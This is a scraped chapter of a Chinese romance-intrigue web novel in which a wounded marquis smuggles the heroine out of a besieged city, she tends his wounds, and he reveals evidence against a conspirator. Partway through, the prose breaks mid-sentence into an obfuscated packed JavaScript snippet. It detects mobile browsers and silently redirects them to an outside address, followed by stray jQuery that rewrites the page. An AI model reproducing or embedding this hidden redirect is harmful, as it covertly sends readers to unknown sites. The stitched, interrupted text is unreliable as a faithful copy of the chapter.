74. 第七十四章
作品:《夫人假死后侯爷疯了》 三日后。
淮州城,涵碧轩。
黎昭月手臂缠着绷带,正在查看各地送来的急报,脸色一日比一日凝重。
王莽快步进来,声音嘶哑:“夫人,临水惨案已经传遍江南!朝廷……朝廷发来急令,说您祸乱地方,江南驻军……已接到密令,开始接管各州府防务,清剿……清剿‘叛党’!”
“还有,”王莽声音更低,带着悲愤,“总舵……总舵主已正式公告,斥责夫人您僭越职权,将您……逐出漕帮!并宣布,漕帮上下,听候朝廷……不,是听候江南新任总督调遣!”
江南新任总督?不用想,必是上官威的人!
她保住了大堤,暂时免去了一场浩劫,却终究没能阻止上官威的计划。一切都来得太快,太迅猛。
“淮州……守军动向如何?”她睁开眼,问。
“昨日已换防。”王莽涩声道,“城内外关键路口,都已增兵把守。我们的人……被监视了。夫人,淮州恐怕守不住了。我们,被围了。”
黎昭月走到窗前,望着外面依旧熙攘的街道。
夜幕彻底笼罩淮州。
涵碧轩内灯火通明,气氛压抑。黎昭月刚与王莽等人议定撤离细节,正欲回房最后收拾,忽然后颈传来一阵钝痛,眼前一黑,便失去了知觉。
动手的是李既白。
他脸色惨白如纸,后背的伤口只是草草包扎,动一下仿佛蚀骨的疼,额上全是虚汗。
“侯爷!您这是……”墨痕惊愕地看着昏倒在李既白臂弯里的黎昭月。
“通缉令已下,淮州驻军今夜就会动手抓人。”李既白的声音低哑急促,“她不会愿意跟我走,更不会丢下淮州这些人。我只能……这样带她走。”
“可您的伤……”
“无碍。”
李既白咬牙,将黎昭月打横抱起。剧痛让他眼前阵阵发黑,几乎站立不稳,但他硬是撑住了,“墨痕,按我们之前准备的第二条路线,立刻出城!按原计划带人分散撤离,在京城南郊老地方汇合。”
“是!”墨痕不再犹豫,迅速收拾了必备的干粮、水和伤药。
夜色是最好的掩护。李既白抱着黎昭月,从涵碧轩一条地道潜出,避开主要街道,来到城墙一处早已探查好的防守薄弱点。
城墙上有漕帮内应接应,放下绳索。
李既白将黎昭月紧紧缚在自己背上,用布带缠牢。
每动一下,后背伤口都像被重新撕裂,温热的液体不断渗出,浸透绷带,染红了他的衣衫,也染红了黎昭月的后背。
他额上青筋暴起,牙关咬得咯咯作响,却一声不吭,抓住绳索,在墨痕的托举下,一点点向上攀爬。
鲜血顺着他的动作,滴落在城墙砖石上,留下断断续续的暗红。
爬到一半,他力气几乎耗尽,手臂抖得厉害,眼前金星乱冒。下方墨痕看得心惊胆战,却又不敢出声。
就在这时,背上的黎昭月因为颠簸,发出一声极轻的闷哼,睫毛颤动,似要醒来。
李既白心中一紧,用尽最后力气猛地向上一窜,终于翻上了城垛。他瘫倒在垛口后,剧烈喘息,鲜血从唇边涌出。
墨痕也迅速爬了上来。
“走……”李既白哑声催促,想站起,却双腿一软。
墨痕连忙扶住他,又将昏迷的黎昭月解下,背在自己身上:“侯爷,属下背夫人,您……”
“我……自己走。”
李既白推开他,扶着城墙,踉跄前行。
城墙下,两匹快马早已备好。墨痕将黎昭月安置在一匹马背上,用绳索固定好。李既白几乎是用爬的上了另一匹马。
“侯爷,您的伤……”墨痕看着李既白摇摇欲坠的样子,心急如焚。
“上马……走!”李既白伏在马背上,声音已经弱不可闻。
墨痕一咬牙,翻身上马,牵起黎昭月那匹马的缰绳,两骑并驰,向着北方官道疾驰而去。
夜色深沉,马蹄声碎。
李既白伏在马背上,意识渐渐模糊。剧烈的疼痛不断吞噬着他的神智。他只能死死抓着缰绳,用身体的本能夹紧马腹,不让自己掉下去。
眼前晃动的,是黎昭月苍白昏迷的侧脸,也是那个很多年前,那个追在他身后,甜甜喊着“既白哥哥”,非要他帮她摘树上最高那朵海棠花的小女孩。
昭昭……对不起。又用这种方式……逼你。
他眼前彻底黑了下去,失去意识的最后一瞬,似乎听到墨痕惊恐的喊声。
*
黎昭月是在剧烈的颠簸中清醒的,后颈隐约作痛。而意识回笼时,她发现自己被绑在马背上,而前方那匹马背上,李既白伏在那里,生死不知。
“停下!”她厉喝。
墨痕勒马入林,刚将黎昭月解下,正要去扶李既白,却见她已挣脱绳索,快步走向李既白。
“你要做什么?!”墨痕横身拦在她面前,眼中带着警惕甚至一丝厌恶。
黎昭月脚步一顿,抬眼看向墨痕,“救人。”
“救人?”墨痕语气忍不住带上讥诮,“黎小姐还会救人?侯爷的伤是因谁而起,您心里清楚!现在何必假惺惺?”
这话说得极不客气。墨痕跟随李既白多年,亲眼看着他如何殚精竭虑、如何隐忍付出,却换来黎昭月一次次刀剑相向,早就憋了一肚子火气。此刻见李既白奄奄一息,这“祸首”还要靠近,他怎能不怒?
黎昭月眸光一冷,“让开。”
“侯爷自有属下照料,不劳黎小姐费心!”墨痕寸步不让,手按上了剑柄。
黎昭月看着他按剑的手,忽然笑了,“墨痕,你忠心护主,很好。但你是不是忘了——”
她向前逼近一步,目光直刺墨痕眼底:
“你家侯爷拼着伤口崩裂、失血昏迷,也要打晕我、带我出城。为什么?”
墨痕一噎。
“因为他不放心把我留在淮州,因为他宁可自己伤重不治,也要保我平安。”黎昭月字字清晰,如同冰锥,“你说我假惺惺?说我害他?”
她唇角弧度更冷:“那又如何?可你家侯爷就是喜欢我,心甘情愿为我涉险,为我拼命。你能何干?”
墨痕脸色瞬间涨红,又转为铁青,握剑的手因为用力而骨节发白。他想反驳,想斥责她不知好歹,可话到嘴边,却一个字也吐不出来。
因为黎昭月说的是事实。
“现在,我要救他。你若再拦——”
她抬眼,重新看向墨痕,眼神里没有丝毫情绪,只有纯粹的压迫:
“你真的觉得,你打得过我?”
空气凝滞
篝火跳跃的光影在两人脸上明灭。
墨痕胸口剧烈起伏,眼中挣扎、愤怒、不甘最终化为一片颓然。
他握剑的手,缓缓松开。
他打不过她。
在驿馆,在运河边,在堤坝上,他亲眼见过她的身手。何况现在侯爷命悬一线,耽误不起。
他侧身,让开了路,声音干涩:“……请黎小姐,务必救救侯爷。”
黎昭月不再多言,快步走到李既白身边蹲下。
墨痕也连忙上前,帮着将李既白小心地放平。
当解开被血浸透的衣衫,看到那狰狞外翻、深可见骨的伤口时,墨痕倒吸一口凉气,手都抖了。
黎昭月脸色更白了几分,但动作丝毫未乱。她先探了李既白的脉搏和呼吸,又迅速检查伤口。
“烧水,不要太沸。拿干净的布,伤药,还有清心丸。”
墨痕此刻已顾不上其他,立刻照办。
温水备好,黎昭月用匕首割开自己被血粘住的袖口布料,蘸着温水,极其小心地清理伤口。
墨痕在一旁看着,心头震动。他原以为这位将门小姐只会舞刀弄枪,却没想到她处理伤口的手法如此娴熟老道,甚至比许多军中医官还要利落精准。
清理完毕,她接过墨痕递来的金疮药,均匀撒在伤口上。随即将干净布条层层包扎好,力道适中,既能止血固定,又不至于过紧影响血脉流通。
接着,她取出一枚银针,在篝火上炙烤消毒后,迅速在李既白几处穴位上浅刺。
墨痕看得心惊,却不敢出声打扰。
几针下去,李既白原本微弱急促的呼吸平缓了些许。
黎昭月又让墨痕扶起李既白,将清心丸用温水化开,一点点喂他服下。昏迷中吞咽困难,她极有耐心,用勺子一点点润进他口中。
做完这一切,她才微微松了口气。
“伤口太深,失血过多,又颠簸加重,元气大伤。眼下暂时稳住,但必须尽快找到安全的地方静养,补充汤药,否则……”她没有说完,但未尽之意明显。
墨痕心中五味杂陈。他沉默了片刻,低声道:“多谢……黎小姐。”
黎昭月没应这句谢,只是擦了擦手,走到篝火旁坐下,望着跳动的火焰出神。
墨痕也默默坐下,添了些柴火。
林中寂静,只有火声和远处隐约的夜枭啼鸣。
良久,墨痕才闷声开口,像是解释,又像是自语:“属下……并非对黎小姐不敬。只是侯爷他……太苦了。”
黎昭月眼睫微颤,没有回头。
“这些年,侯爷身边没有一个可信之人。陈太医是眼线,同僚是监视,连殿下……也从未真正信过他。他走的每一步,都是刀尖,说的每句话,都可能要命。”
墨痕声音低沉,带着压抑的痛苦:“他明明可以不管黎家,不管您,安安稳稳做他的靖安侯,辅佐殿下登基,享尽荣华。可他偏要……把自己逼到绝路。属下只是……只是替他不值。”
篝火噼啪,映着黎昭月沉静的侧脸。她依旧没有说话,只是放在膝上的手,微微蜷缩了一下。
不值吗?
或许吧。
前世她以为,他负她害她,今生却只觉,他只是欺她瞒她,只为在绝境中一次次护她,甚至不惜赌上性命。
“收拾一下,天快亮了。”黎昭月终于开口,“找两身普通的粗布衣服换上,马匹也不能留了,目标太大。我们步行,绕开官道,往北走。”
“是。”墨痕应道,顿了顿,又道,“黎小姐,您的伤……”
黎昭月左臂的伤口也在颠簸中崩裂渗血。
“无妨。”她淡淡道,自己扯了布条重新包扎。
天色将明未明,林间雾气弥漫。
黎昭月换上粗布衣裳,用头巾包住了头发,脸上也抹了些尘土,掩去了原本过于醒目的容貌。
墨痕也换了装扮,将两匹马牵到林中深处放掉。
李既白依旧昏迷,被墨痕用树枝和布条做了个简易担架,两人轮流抬着,悄然没入晨雾与密林之中,向着北方,向着那座漩涡中心的皇城,艰难前行。
前路茫茫,追兵在后。
但至少,他们还活着。
而活着,就有清算一切的机会。
三日后,一条不起眼的货船,顺着运河北上。
船舱底层,堆满麻袋和木箱的狭窄空间里,李既白靠在角落,身上盖着件旧棉袄,脸色变得蜡黄,但眼神已恢复清明。
墨痕守在舱门处,警惕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075887|186703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地听着外面的动静。
黎昭月坐在一旁,正用小刀削着一颗苹果,动作有些心不在焉。
船舱里弥漫着潮湿的霉味和货物尘土气,光线昏暗。水流拍打船身的哗哗声,规律而单调。
“我们到哪了?”李既白开口。
“刚过宿州界,入了淮南道。”
墨痕回道,“船老大是咱们早年埋下的暗桩,信得过。走的是支流旧道,检查不严。”
李既白点了点头,目光转向黎昭月。她低着头,侧脸在昏暗光线下显得有些模糊,只有那稳定的削皮动作,透着一股格格不入的坚韧。
“你的伤……”他问。
“死不了。”黎昭月头也不抬,将削好的苹果递过去,“比你强点。”
李既白接过苹果,他默默咬了一口,酸甜的汁液在口中化开,冲淡了连日来的药味。
船舱内又陷入沉默,只有水声和两人的呼吸。
良久,李既白放下苹果,解释着:“陈太医,是三年前我重伤时,上官威以体恤为名安插进侯府的。他每日诊脉,事无巨细皆会上报。我醒来后,便知身边再无秘密可言。”
黎昭月削皮的动作停了停,依旧没抬头。
“所以,对你的冷落,与曾钦宁做戏,甚至……默许欧阳思在江南的动作,都是做给他看,做给上官威看。我要让他相信,我已彻底被他掌控,心甘情愿做他夺位的棋子。只有这样,我才能拿到证据,才能……替我父母沉冤得雪。”
他顿了顿,看向黎昭月:“你二哥黎昭雪在北境中伏,并非偶然。是上官威通过欧阳家与北狄左贤王部的暗中交易,泄露了行军路线和布防图。我手里,有他们往来密信的副本,有经手军官的口供画押,还有……欧阳思父亲欧阳廉辰亲笔签署的一份军械走私清单,上面盖着上官威的私印。”
黎昭月手中的小刀,“当啷”一声掉在木板上。
“证据……在哪里?”她的声音绷得很紧。
“给。”他毫不犹豫地放在桌上,喘了口气,继续道:“我原本计划,待上官威在京中起事,自以为胜券在握、彻底放松警惕时,再将所有证据一举抛出,钉死他的罪状。但江南之事失控,欧阳思比我想的更疯,逼得我们不得不提前撤离。”
他看着她,眼中是深深的疲惫和愧疚:“昭昭,我知道现在说这些,你可能不信。我骗你太多,伤你太深。但我从未想过要害黎家,更从未想过要你死。我做的一切,最初或许有利用之心,可后来……”
他喉结滚动了一下,声音低了下去:“后来,连我自己也分不清,哪些是算计,哪些是……真心。”
船舱内一片死寂。
黎昭月就那样看着李既白,看了很久很久。久到李既白几乎以为她不会再开口,久到那点微弱的希望也要熄灭。
然后,她轻轻说了一句:
“我都知道了。”
李既白猛地抬眼。
“曾钦宁告诉我了。”黎昭月的声音很轻,却像重锤砸在他心头,“陈太医,西境的生辰礼,那些不能寄出的信……还有墨痕,”
她看了一眼舱门口那个僵硬的背影,“他也告诉我了,你这些年,是怎么过的。”
墨痕肩膀微微颤了一下。
黎昭月重新低下头,捡起掉在地上的小刀,用衣袖慢慢擦着刀锋:
“我知道你身边都是眼线,知道你说每一句话都可能被监听,知道你做很多事都身不由己。”
她顿了顿,声音里带上了一丝难以掩饰的颤抖:
“可是李既白……知道归知道,理解归理解。但那些痛,那些恨,那些被背叛,眼睁睁看着亲人死去却无能为力的感觉……不是几句苦衷,几份证据,就能抹平的。”
她抬起头,眼中已有水光,却没有落下:
“曾钦宁告诉我真相的时候,我甚至……宁愿不知道。宁愿你就是个彻头彻尾的混蛋,那样我恨起来,反而更痛快,更理直气壮。”
“可现在,你让我知道,你也有不得已,你也在痛苦挣扎,你甚至……可能真的……有那么一点真心。”
她扯了扯嘴角,那笑容比哭还难看:
“你让我怎么办?原谅你?当一切都没发生过?然后像戏文里那样,欢欢喜喜地跟你‘重修旧好’?”
她摇头,泪水终于滚落,滴在冰冷的刀锋上:
“我做不到,李既白。至少现在……我做不到。”
她将那把小刀,轻轻放在两人之间的木板上,发出轻微的“嗒”一声。
“证据,我去取。上官威的仇,黎家的冤,我会亲手了结。”
她看着李既白,眼神渐渐沉静,但那沉静之下,是深不见底的痛楚,“至于我们之间……”
她站起身,走到舱门边,背对着他:
“等一切尘埃落定再说吧。如果……我们都还能活到那一天的话。”
说完,她拉开舱门,走了出去。河面上带着水腥气的冷风灌进来,吹散了舱内沉闷的空气,也吹干了李既白眼角那一点尚未成形的湿意。
墨痕看着黎昭月消失在楼梯口的背影,又回头看向自家侯爷。
李既白依旧靠在角落,脸色苍白得没有一丝血色,唯有那双眼睛,红的要命。
他缓缓闭上眼,喉结剧烈地滚动了几下,最终,只是极轻……极轻地,吐出一口气。
船身随着水流微微摇晃,向着北方,向着那座即将被血与火席卷的皇城,坚定不移地驶去。
舱外,黎昭月靠在冰冷的船舷上,望着两岸冬日萧瑟的景色,任由冷风吹干脸上的泪痕。

